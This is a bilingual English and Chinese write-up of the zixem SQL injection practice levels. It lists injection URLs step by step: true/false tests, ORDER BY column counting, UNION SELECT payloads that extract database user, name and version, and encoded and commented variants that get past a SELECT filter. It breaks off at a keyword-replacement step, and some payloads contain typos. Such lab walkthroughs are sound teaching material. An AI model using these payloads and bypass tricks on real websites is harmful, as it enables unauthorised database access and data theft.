Level 1 (Super Easy)

http://www.zixem.altervista.org/SQLi/level1.php?id=1

http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level1.php?id=1 and 1=2--+ #false

3 columns

http://www.zixem.altervista.org/SQLi/level1.php?id=1 order by 3--+

http://www.zixem.altervista.org/SQLi/level1.php?id=-1 +UNION+ALL+SELECT+1,2,3--+

Level 2 (Easy)

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4‘ and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4‘ and 1=2--+ #false

Find ccolumns

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=4‘ +ORDER+BY+4--+

Showprofile 发现无回显，我们将其改成showprofile=1

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1‘ +UNION+ALL+SELECT+1,2,3,4--+

Find mysql information

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1‘ +UNION+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4--+

或者

http://www.zixem.altervista.org/SQLi/level2.php?showprofile=1‘ +UNION+ALL+SELECT+version(),database(),user(),4--+

Level 3 (Medium)

http://www.zixem.altervista.org/SQLi/level3.php?item=3

http://www.zixem.altervista.org/SQLi/level3.php?item=3‘ and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level3.php?item=3‘ and 1=2--+ #false

Find 4 columns

http://www.zixem.altervista.org/SQLi/level3.php?item=3‘ +ORDER+BY+4--+

http://www.zixem.altervista.org/SQLi/level3.php?item=3‘ +UNIONON+ALL+SELECT+1,2,3,4--+

发现无回显，我们尝试更改item的值试试

http://www.zixem.altervista.org/SQLi/level3.php?item=1‘ +UNIONON+ALL+SELECT+1,2,3,4--+

在字段2上进行查询MySQL information

http://www.zixem.altervista.org/SQLi/level3.php?item=1‘ +UNIONON+ALL+SELECT+1,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),3,4--+

Level 4 (Normal)

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7‘ and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7‘ and 1=2--+ #false

Find 5 columns

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7‘ +ORDER+BY+5--+

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=7‘ +UNION+ALL+SELECT+1,2,3,4,5--+

执行发现无相关的字段回显，我们尝试更改下ebookid的值试试

http://www.zixem.altervista.org/SQLi/level4.php?ebookid=1‘ +UNION+ALL+SELECT+1,2,3,4,5--+

抓包请求如下：

通过查看sourcecode如下

If you want a lead, enter this password.

~~~~~~~~~~~~~~~~~~ password: d1fd6ef9af6cb677e09b1b0a68301e0c ~~~~~~~~~~~~~~~~~~~~~~

owh...it‘s hashed! maybe you could get some help from my md5 cracker...

Level 6 (Experienced)

http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 and 1=1#true

http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 and 1=2 #false

Find 4 columns

http://www.zixem.altervista.org/SQLi/blind_lvl6.php?serial=10 +ORDER+BY+4

这里判断为整形的盲注，直接用穿山甲（pangolin）跑

Level 7 (Medium)

http://www.zixem.altervista.org/SQLi/level7.php?id=1

http://www.zixem.altervista.org/SQLi/level7.php?id=1 and 1=1--+ #true

http://www.zixem.altervista.org/SQLi/level7.php?id=1 and 1=2--+ #false

http://www.zixem.altervista.org/SQLi/level7.php?id=1 +UNION+ALL+SELECT+1,2,3--+

无任何回显，更改id也无回显查看源码

最后尝试payload为如下：

看起来好像是屏蔽了select字段，我们尝试绕过

#大小写混

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09/*!SeLECt*/%091,2,3-- #false

#Url encode

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09/*!%53eLEct*/%091,2,3-- #false

#使用特助字符

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09sel*ect%091,2,3-- #flase

http://www.zixem.altervista.org/SQLi/lvl8.php?id=1%09UNION%09ALL%09se/**/lect%091,2,3-- #false

#关键字替换
